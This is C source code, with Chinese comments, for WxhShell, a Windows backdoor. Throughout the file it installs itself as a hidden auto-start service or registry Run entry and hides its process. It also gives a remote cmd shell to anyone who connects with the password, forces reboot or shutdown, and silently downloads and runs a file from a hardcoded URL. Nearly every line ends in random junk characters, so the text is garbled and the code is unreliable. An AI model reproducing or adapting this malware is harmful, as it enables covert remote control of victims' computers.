    if(Boot(SHUTDOWN)) $kp{Eg '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NyNXP_8  
    else { 8&b,qQ~  
    closesocket(wsh); #Ki[$bS~6  
    ExitThread(0); qF;|bF  
    } v0.#Sl-  
    break; Zp=U W*g^  
    } T{[=oH+  
  // 获取shell smo~7;  
  case 's': { gV_}-VvP  
    CmdShell(wsh); ge8ZsaiU  
    closesocket(wsh); {;6`_-As%  
    ExitThread(0); PB\x3pV!}  
    break; d>qY{Fdz  
  } sD#.Oq4&]y  
  // 退出 VRB;$  
  case 'x': { ^Xh^xL2cn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I51@QJX  
    CloseIt(wsh); r3UUlR/Do  
    break; .eVG:tl\  
    } I9ep`X6Y  
  // 离开 ePo}y])2  
  case 'q': { ['iPl/v0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JDT`C2-Q  
    closesocket(wsh); BLD gt~h#  
    WSACleanup(); 8FY?!C  
    exit(1); H"WprHe  
    break; Z/+#pWBI!  
        } o!A+&{  
  } cSV aI  
  } 1yu4emye4  
XZd,&YiaG  
  // 提示信息 c yz3,3\e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {3aua:q  
} HN|%9{VeB  
  } )\$|X}uny&  
A~70  
  return; {_v#~595  
} j&qub_j"xX  
/ %io+94  
// shell模块句柄 pYf-S?Y/V  
int CmdShell(SOCKET sock) c{w2Gt!  
{ NTs aW}g  
STARTUPINFO si; {I't]Qj_e  
ZeroMemory(&si,sizeof(si)); >~0Z& d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*w/{|yO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _X x/(.O  
PROCESS_INFORMATION ProcessInfo; hp|YE'uYT  
char cmdline[]="cmd"; >fQMXfoY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1bwOm hkS  
  return 0; K]w'&Qm8W  
} fe_5LC"  
\qJXF|z<K  
// 自身启动模式 om:VFs\U  
int StartFromService(void) AFwdJte9e  
{ :Zw2'IV  
typedef struct a9Zq{Ysj  
{ {E|$8)58i  
  DWORD ExitStatus; 88$8d>-  
  DWORD PebBaseAddress; V(!V_Ug9.  
  DWORD AffinityMask;  _6vW F  
  DWORD BasePriority; !R`{ TbN  
  ULONG UniqueProcessId; 7WzxA=*#  
  ULONG InheritedFromUniqueProcessId; 5]:U9ts#  
}   PROCESS_BASIC_INFORMATION;  o-B$J?  
g *+>H1}  
PROCNTQSIP NtQueryInformationProcess; gw<q.XL  
1T n}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3F^Q51:t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N6TH}~62}  
,`sv1xwd  
  HANDLE             hProcess; y|jq?M<A  
  PROCESS_BASIC_INFORMATION pbi; V28M lP  
Pc]HP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  WfRXP^a  
  if(NULL == hInst ) return 0; U%/+B]6jP  
^kSqsT"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K.yb ^dg5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -7|H}!DFT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fs^Mw g o  
51.%;aY~z  
  if (!NtQueryInformationProcess) return 0; DIUjn;>k8  
,$&&-p I]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jEJT-*I1+  
  if(!hProcess) return 0; u,4eCxYE$  
3=ymm^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v|2T%y_ u  
'`KY! ]L  
  CloseHandle(hProcess); M/K5#8Arj  
[ibu/ W$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sON|w86B  
if(hProcess==NULL) return 0; ?5 7Sk+  
w`zTR0`  
HMODULE hMod; S^\Vgi(  
char procName[255]; ~t~k2^)|"  
unsigned long cbNeeded; a:OQGhc=  
}?_?V&K|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0{p#j~ZhC  
u?<%q!  
  CloseHandle(hProcess); (Y?gn)*t  
<7Or{:Sc90  
if(strstr(procName,"services")) return 1; // 以服务启动 )e=D(qd  
VSI9U3t3w  
  return 0; // 注册表启动 Ma']?Rb`  
} $$;M^WV^?.  
m6\E$;`  
// 主模块 rCbDu&k]  
int StartWxhshell(LPSTR lpCmdLine) hPkWCoQpq  
{ b;W3j   
  SOCKET wsl; P90yI  
BOOL val=TRUE; G+"t/?/  
  int port=0; g<; q.ZylT  
  struct sockaddr_in door; :tB1D@Cb6  
;yLu R  
  if(wscfg.ws_autoins) Install(); gpvYb7Of0  
"W7K"=X  
port=atoi(lpCmdLine); (Ag1 6  
y@:h4u"3  
if(port<=0) port=wscfg.ws_port; K6/Q}W   
oAJM]%g{  
  WSADATA data; t?-n*9,#S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  +yH7v5W  
P%:wAYz1^O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H;mSkRD3N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _=r6=.  
  door.sin_family = AF_INET; 3l]lwV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3qgS&js 7  
  door.sin_port = htons(port); ME$[=?7XX  
'$Dn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T}Tp$.gB  
closesocket(wsl); j{ ]I]\=?  
return 1; !"AvY y9  
} ^^u5*n+5  
xh-o}8*n"  
  if(listen(wsl,2) == INVALID_SOCKET) { Gf6p'(\zun  
closesocket(wsl); 'd0~!w  
return 1; Ng&%o  
} .N;=\C*  
  Wxhshell(wsl); U)TUOwF  
  WSACleanup(); =>S]q71  
q_lKKzA  
return 0; 2y\E[jA  
j a[Et/r  
} sFKX-S~:  
'ycJMYP8  
// 以NT服务方式启动 p>,|50|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n6=By|jRh  
{ &<g|gsG`  
DWORD   status = 0; 8LJ8 }%*  
  DWORD   specificError = 0xfffffff; O^PKn_OJ  
u]wZQl#-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;<Sd~M4f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =[ 46`-_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .~db4d]  
  serviceStatus.dwWin32ExitCode     = 0; J( TkXNm  
  serviceStatus.dwServiceSpecificExitCode = 0; %Qgw7p4  
  serviceStatus.dwCheckPoint       = 0; '6`3(TK.a  
  serviceStatus.dwWaitHint       = 0; B4/>H|  
0 JS?;fk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S>+|OCl";  
  if (hServiceStatusHandle==0) return; G5_=H,Vmd  
A|[?#S((]  
status = GetLastError(); dbLZc$vPj  
  if (status!=NO_ERROR) R-wp9^  
{ ]#<4vl\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z kP_6T09  
    serviceStatus.dwCheckPoint       = 0; G't$Qx,IC  
    serviceStatus.dwWaitHint       = 0; je-!4r,  
    serviceStatus.dwWin32ExitCode     = status; }Bh8=F3O Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; (#c*M?g3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g axsv[W>^  
    return; ;;Y! ^^g  
  } uc{Ihw  
YqD=>P[O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {W`%g^Z|H  
  serviceStatus.dwCheckPoint       = 0; 8%mu8l  
  serviceStatus.dwWaitHint       = 0; G Vr1`l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5I;&mW`1,`  
} UgRiIQMq.  
wu6;.xTLl  
// 处理NT服务事件,比如:启动、停止 2qNt,;DQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .LZ?S"z$ w  
{ octL"t8w  
switch(fdwControl) s^TZXCyF o  
{ \K{ z  
case SERVICE_CONTROL_STOP: *Q.>-J<S  
  serviceStatus.dwWin32ExitCode = 0; aK~8B_5k8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {z|)Njhg  
  serviceStatus.dwCheckPoint   = 0; ;1=1:S8  
  serviceStatus.dwWaitHint     = 0; Po0A#Zl  
  { iVr JQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bWS&Yk(  
  } ?R 'r4P,  
  return; S+6.ZZ9c  
case SERVICE_CONTROL_PAUSE: Oszj$C(jF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #z%fx   
  break; RBd7YWo\|j  
case SERVICE_CONTROL_CONTINUE: W i.& e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l&zilVVm  
  break; hfB%`x#akQ  
case SERVICE_CONTROL_INTERROGATE: Qel9G($=  
  break; LOYk9m  
}; (mB&m@-N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rv>-4@fMJ  
} d1T!+I  
?j.,Nw4FC  
// 标准应用程序主函数 9=tIz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IPpN@  
{ o/)h"i0P  
U/M>?G~  
// 获取操作系统版本 q i;1L Kc  
OsIsNt=GetOsVer(); >:!5*E5?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t?gic9 q  
S hWJ72c  
  // 从命令行安装 ^\% (,KNo  
  if(strpbrk(lpCmdLine,"iI")) Install(); ="H%6S4'  
 F(n$  
  // 下载执行文件 !< ";cw(q  
if(wscfg.ws_downexe) { Y=KTeYW`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !qg`/y9  
  WinExec(wscfg.ws_filenam,SW_HIDE); B$K=\6o  
} }.(B}/$u  
o|:b;\)b  
if(!OsIsNt) { *^4"5X@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ @5QP$.  
HideProc(); #!# l45p6  
StartWxhshell(lpCmdLine); A)!*]o>U  
} 0d&6lqTo  
else ^CX6&d  
  if(StartFromService()) Vb_4f"  
  // 以服务方式启动 Avc%2 +  
  StartServiceCtrlDispatcher(DispatchTable); /~?*=}c^m  
else cT,sh~-x,  
  // 普通方式启动 8<.Oq4ku  
  StartWxhshell(lpCmdLine); fr3d  
q9_OGd|P  
return 0; 4VSU8tK|N]  
} KpGhQdR#  
~0$&3a<n1  
9A=,E&  
X"Swi&4  
=========================================== ,"ZMRq  
eauF ~md,  
tsjrRMR  
i.m^/0!  
~?BXti<!  
/4Gt{yg Sr  
" p5iuYHKk?  
.q>iXE_c  
#include <stdio.h> vs4>T^8e  
#include <string.h> T~e.PP  
#include <windows.h> ,z jv7$L  
#include <winsock2.h> N6:`/f+A>T  
#include <winsvc.h> 7. oM J  
#include <urlmon.h> 02^rV*re  
|BXg/gW  
#pragma comment (lib, "Ws2_32.lib") 2^7`mES  
#pragma comment (lib, "urlmon.lib") z{QqY.Gu{G  
GbI/4<)l}  
#define MAX_USER   100 // 最大客户端连接数 z24q3 3O  
#define BUF_SOCK   200 // sock buffer [/r(__.  
#define KEY_BUFF   255 // 输入 buffer H5|;{q:j  
9 68Ez  
#define REBOOT     0   // 重启 L/K(dkx  
#define SHUTDOWN   1   // 关机 UN#S;x*  
p_4<6{KEt  
#define DEF_PORT   5000 // 监听端口 xmoxZW:  
* ;FdD{+  
#define REG_LEN     16   // 注册表键长度 "AqB$^S9t  
#define SVC_LEN     80   // NT服务名长度 sI2^Qp@O1  
KI.hy2?e  
// 从dll定义API d'> x(Yi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;'1d1\wiDQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .xkM.g4{~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pxi3PY?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V;=cwy)I  
-{vD: Il=6  
// wxhshell配置信息 ]?4hyN   
struct WSCFG { Fr-SvsNFB  
  int ws_port;         // 监听端口 4qa.1j(R/  
  char ws_passstr[REG_LEN]; // 口令 l]SX@zTb  
  int ws_autoins;       // 安装标记, 1=yes 0=no v$9y,^p@e  
  char ws_regname[REG_LEN]; // 注册表键名 zQ PQ  
  char ws_svcname[REG_LEN]; // 服务名 8P`"M#fI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i.#:zU%o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pj(,Zd[47  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zd+bx*rD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W,u:gzmhw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]M3yLYK/P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W+* V)tf  
,zc(t<|-y  
}; b,@/!ia  
EQ_aa@M7  
// default Wxhshell configuration 2mU.7!g)  
struct WSCFG wscfg={DEF_PORT, \)e'`29;  
    "xuhuanlingzhe", w-jVC^C]  
    1, Bw.i}3UT6  
    "Wxhshell", CC`JZ.SO  
    "Wxhshell", I1J-)R+  
            "WxhShell Service", "N#Y gSr  
    "Wrsky Windows CmdShell Service", 2 E= L8<  
    "Please Input Your Password: ", +C)~bb*  
  1, i/.6>4tE:  
  "http://www.wrsky.com/wxhshell.exe", ~ri5zb20  
  "Wxhshell.exe" jiGTA:v  
    }; - YBY[%jF>  
Y-9I3?ar  
// 消息定义模块 A%vbhD2;W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /{2,zW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _0I@xQj-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {RPI]DcO/  
char *msg_ws_ext="\n\rExit."; EX"yxZ~  
char *msg_ws_end="\n\rQuit."; QV8g#&z  
char *msg_ws_boot="\n\rReboot..."; /_.|E]  
char *msg_ws_poff="\n\rShutdown..."; u&e~1?R  
char *msg_ws_down="\n\rSave to "; {{1G`;|v 9  
YYS0`  
char *msg_ws_err="\n\rErr!"; b2*TgnRq  
char *msg_ws_ok="\n\rOK!"; iRBfx  
7$#u  
char ExeFile[MAX_PATH]; 4e  
int nUser = 0; Bp{Ri_&A  
HANDLE handles[MAX_USER]; fsXy"#mOkD  
int OsIsNt; 1Ws9WU  
YZ7.1`8  
SERVICE_STATUS       serviceStatus; u:b=\T L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3XKf!P  
a.Vuu)+Quw  
// 函数声明 zeRyL3fnmb  
int Install(void); yQrD9*t&g  
int Uninstall(void); M\=2uKG#  
int DownloadFile(char *sURL, SOCKET wsh); 5R7DDJk  
int Boot(int flag); P {'b:C  
void HideProc(void); !m$jk2<  
int GetOsVer(void); @|!z9Y*  
int Wxhshell(SOCKET wsl); 31)&vf[[  
void TalkWithClient(void *cs); x^CS"v7  
int CmdShell(SOCKET sock); R-Sym8c  
int StartFromService(void); cCX*D_kCB  
int StartWxhshell(LPSTR lpCmdLine); ^@]3R QB  
pot~<d`:K"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u:EiwRW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,?3G;-  
;kK/_%gN-G  
// 数据结构和表定义 adw2x pj  
SERVICE_TABLE_ENTRY DispatchTable[] = "#48% -'x  
{ \v/[6&|X0s  
{wscfg.ws_svcname, NTServiceMain}, _f{{( 7  
{NULL, NULL} ite~E5?#  
}; @pxcpXCy  
=">NQ)98u  
// 自我安装 I_BJH'!t  
int Install(void) Debv4Gr;^  
{ f!"w5qC^  
  char svExeFile[MAX_PATH]; 1&2>LE/P  
  HKEY key; cnLro  
  strcpy(svExeFile,ExeFile); @WB@]-+J T  
_G0 x3  
// 如果是win9x系统,修改注册表设为自启动 liSmjsk  
if(!OsIsNt) { <uJ@:oWG7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { olcDt&xv]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <QvOs@i*  
  RegCloseKey(key); O@P"MXEG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q*KAk{kR(v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z{R>  
  RegCloseKey(key); v2?ZQeHr_(  
  return 0; 4m)n+ll  
    } `2snz1>!j  
  } +qoRP2  
} he4(hX^  
else { nrb Ok4Dz  
% `3jL7|  
// 如果是NT以上系统,安装为系统服务 Lv%x81]K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #*}+J3/  
if (schSCManager!=0) ZW}_DT0  
{ z@Y;r=v  
  SC_HANDLE schService = CreateService ^s=8!=A(  
  ( g){<y~Mk  
  schSCManager, =}*0-\QG  
  wscfg.ws_svcname, 7Wno':w8  
  wscfg.ws_svcdisp, TNth   
  SERVICE_ALL_ACCESS, '%D7C=;^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G?ZXWu.  
  SERVICE_AUTO_START, 9my^ Y9B  
  SERVICE_ERROR_NORMAL, /\Ef%@  
  svExeFile, Qd-A.{[h  
  NULL, Zh,71Umz  
  NULL, _^;Z~/.  
  NULL, ;I*o@x_  
  NULL, G#CXs:1pd+  
  NULL N$DkX)Z  
  ); R@0R`Zs  
  if (schService!=0) sRW<me;  
  { ^"g~-  
  CloseServiceHandle(schService); /,dz@   
  CloseServiceHandle(schSCManager); Vj-h;rB0z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <[phnU^ 8  
  strcat(svExeFile,wscfg.ws_svcname); GmG 5[?)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nu^436MSOa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); phK/   
  RegCloseKey(key); VQs5"K"  
  return 0; GeqPRah  
    } <GJbmRc|  
  } C+]I@Go'Tk  
  CloseServiceHandle(schSCManager); =vPj%oLp'a  
} [Zrr)8A  
} R/_&m$ZB  
Zc yc*{DS  
return 1; )1z@  
} =v\.h=~~  
,_P-$lB  
// 自我卸载 edD)TpmE,  
int Uninstall(void) 5N]"~w*  
{ 3 {V>S,O3]  
  HKEY key; $:6!H:ty  
)_:NLo:  
if(!OsIsNt) { . me;.,$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t7pFW^&  
  RegDeleteValue(key,wscfg.ws_regname); hb-%_c"kq  
  RegCloseKey(key); gIfh3D=yX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DH=hH&[e(d  
  RegDeleteValue(key,wscfg.ws_regname); Smh,zCc>s  
  RegCloseKey(key); 7^Uv7< pw  
  return 0; yu|>t4#GT  
  } iCoX& "lb  
} q)GdD==  
} =D(j)<9$A  
else { yauvXosX  
cNrg#Asen&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )+^+s d  
if (schSCManager!=0) bD^owa  
{ T|$H#n}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,6/V" kqIP  
  if (schService!=0) x^ni1=kU  
  { V9vTsmo(  
  if(DeleteService(schService)!=0) { Wqnc{oq |$  
  CloseServiceHandle(schService); #tHK"20  
  CloseServiceHandle(schSCManager); =I<R!ZSN  
  return 0; &m3lXl  
  } kM 6 Qp  
  CloseServiceHandle(schService); kstIgcI  
  } 4*L_)z&4;  
  CloseServiceHandle(schSCManager); (Z*!#}z`  
} K9[UB  
} mw!F{pw  
R-:2HRaA  
return 1; <%d>v-=B  
} oDR%\VY6T  
qM`}{ /i  
// 从指定url下载文件 4 5e~6",  
int DownloadFile(char *sURL, SOCKET wsh) XX@ZQcN  
{ 7/H)Az@i45  
  HRESULT hr; r$1Qf}J3=  
char seps[]= "/"; ;jXgAAz7  
char *token; j.Hf/vi`z  
char *file; m*pJBZxd  
char myURL[MAX_PATH]; i. "v4D  
char myFILE[MAX_PATH]; . vV|hSc  
Ulyue  
strcpy(myURL,sURL); 3<!7>]A  
  token=strtok(myURL,seps); ^ y::jK  
  while(token!=NULL) !Ee:o"jG{  
  { zdYjF|  
    file=token; \bcLiKE{  
  token=strtok(NULL,seps); %A`+WYeuX  
  } uph(V  
Tx D#9]Q`  
GetCurrentDirectory(MAX_PATH,myFILE); sT)CxOV  
strcat(myFILE, "\\"); 3$ pX  
strcat(myFILE, file); [6fQ7uFMM8  
  send(wsh,myFILE,strlen(myFILE),0); $I=~S[p  
send(wsh,"...",3,0); wj,=$RX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ? k/`  
  if(hr==S_OK) Upe%rC(  
return 0; SU0 hma8  
else Sc0w.5m6  
return 1; HtFDlvdy]  
i@yC-))bY  
} G[=c Ss,  
b9krOe *j  
// 系统电源模块 z_HdISy0  
int Boot(int flag) ~ }P,.QQ  
{ Da|z"I x  
  HANDLE hToken; \hXDO_U  
  TOKEN_PRIVILEGES tkp; A"]YM'.  
p{_ " bB  
  if(OsIsNt) { Y4-t7UlS;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;p//QJB9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7dWS  
    tkp.PrivilegeCount = 1; 4dlGxat  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  R&&4y 7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HN"Z]/ 5j  
if(flag==REBOOT) { h{Y",7] !  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e+WNk 2  
  return 0; 2G7Wi!J  
} !0+JbZ<%r|  
else { 7#XzrT]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7.Op<  
  return 0; )7F/O3Tq  
} ?}oFg#m-<L  
  } 23PGq%R  
  else { 9*g Z-#  
if(flag==REBOOT) { CJY$G}rk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V gWRW7Se  
  return 0; kP:!/g  
} [,Gg^*umS  
else { k[xSbs'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )nkY_' BV  
  return 0; u`W2 +S  
} )A6<c%d =x  
} pi(m7Ci"  
}2jn[${ pr  
return 1; ah"o~Cbj  
} D.:Zx  
6K^#?Bn;  
// win9x进程隐藏模块 ch]IzdD  
void HideProc(void) -?\D\\+t  
{ 2y4bwi  
V3Bz Mw\9r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {}9a6.V;}  
  if ( hKernel != NULL ) &C}*w2]0S  
  { U^PgG|0N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &ZO0r ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =X}J6|>X  
    FreeLibrary(hKernel); =;L|gtH"  
  } hrk r'3lv  
/vt3>d%B;  
return; 8*X4\3:*N  
} KNl$3nX  
W?& %x(6M  
// 获取操作系统版本 k$VlfQ'+  
int GetOsVer(void) >P(.:_ ^p  
{ mpyt5#f  
  OSVERSIONINFO winfo; '/p4O2b,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  " bG2:  
  GetVersionEx(&winfo); +`4A$#$+y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Ldi|jL  
  return 1; ;uW FHc5@B  
  else btB%[]  
  return 0; %T[]zJ(  
} ZSw.U:ep$s  
_1^'(5f$  
// 客户端句柄模块 /v}`l  
int Wxhshell(SOCKET wsl) #yen8SskB  
{ }H2 R3icE  
  SOCKET wsh; e20-h3h+  
  struct sockaddr_in client; 9WHddDA  
  DWORD myID; xw%0>K[  
<@}9Bid!o  
  while(nUser<MAX_USER) :UdF  
{  _F{C\}  
  int nSize=sizeof(client); zs;JJk^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )u">it+  
  if(wsh==INVALID_SOCKET) return 1; k)u[0}   
;S{(]K7i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hZ3bVi)L\  
if(handles[nUser]==0) }u|q0>^8  
  closesocket(wsh); 9uY'E'm*  
else 0:+E-^X  
  nUser++; )jj0^f1!j  
  } J4utIGF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0x7'^Z>-oe  
9L9sqZUB  
  return 0; <i[HbgUlO.  
} ^aQ"E9  
Cw%{G'O   
// 关闭 socket $( )>g>%  
void CloseIt(SOCKET wsh) 0V]s:S  
{ ;4a{$Lw~^9  
closesocket(wsh); !wNO8;(  
nUser--; ]9L oZ)  
ExitThread(0); 4 :=]<sc,  
} {*KEP  
BY*Q_Et  
// 客户端请求句柄 &zhAh1m  
void TalkWithClient(void *cs) +"(jjxJm  
{ CARzO7 b\w  
u>$t'  
  SOCKET wsh=(SOCKET)cs; edV\-H5<  
  char pwd[SVC_LEN]; 4YHY7J  
  char cmd[KEY_BUFF]; % nIf)/2g  
char chr[1]; *A< 5*Db:F  
int i,j; +#By*;BJ  
eQ"E   
  while (nUser < MAX_USER) { } %z   
S$3JMFA  
if(wscfg.ws_passstr) { fh{`Mz,o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U&xUfBDt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7KPwQ?SjT  
  //ZeroMemory(pwd,KEY_BUFF); 8f7>?BUS,  
      i=0; zJXplvaL;  
  while(i<SVC_LEN) { C7vxw-o|&p  
xpI wrJO  
  // 设置超时 b\ PgVBf9  
  fd_set FdRead; Y~Ifj,\  
  struct timeval TimeOut; ]~%6JJN7  
  FD_ZERO(&FdRead); RyNs6  
  FD_SET(wsh,&FdRead); bfO=;S]b!  
  TimeOut.tv_sec=8; e%6QTg5#  
  TimeOut.tv_usec=0; w:l"\Tm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); to\N i~a&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e*!kZAf  
x:7IIvP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CNIsZ v@Q  
  pwd=chr[0]; J=L5=G7(  
  if(chr[0]==0xd || chr[0]==0xa) { B;WCTMy}  
  pwd=0; , dp0;nkr  
  break; ap~^Ty<>  
  } [r-p]"R  
  i++; Hef g[$m  
    } >f'g0g  
_~pbqa,  
  // 如果是非法用户,关闭 socket "mN q&$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v LZoa-w:  
} {e5= &A  
ZC}QId  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ J[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bj~+WwD)QR  
j.kG};f  
while(1) { y?:.;%!E  
2"5v[,$1H  
  ZeroMemory(cmd,KEY_BUFF); `XB 9Mi=  
qw8Rlws%  
      // 自动支持客户端 telnet标准   BB'OCN  
  j=0; \4#W xZ  
  while(j<KEY_BUFF) { Dxxm="FQZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z)\@i=m  
  cmd[j]=chr[0]; R$Q.sE  
  if(chr[0]==0xa || chr[0]==0xd) { yWya&|D9  
  cmd[j]=0; T#)P`q  
  break; 9C \Fq-  
  } jSAjcLR  
  j++; JG,%qFlk  
    } qv"$Bd:]r  
qv*^fiT  
  // 下载文件 g[t [/TV   
  if(strstr(cmd,"http://")) { YF:L)0H'O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J")#I91  
  if(DownloadFile(cmd,wsh)) \G3rX9xG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^KELKv,_  
  else 9E6R0D}  
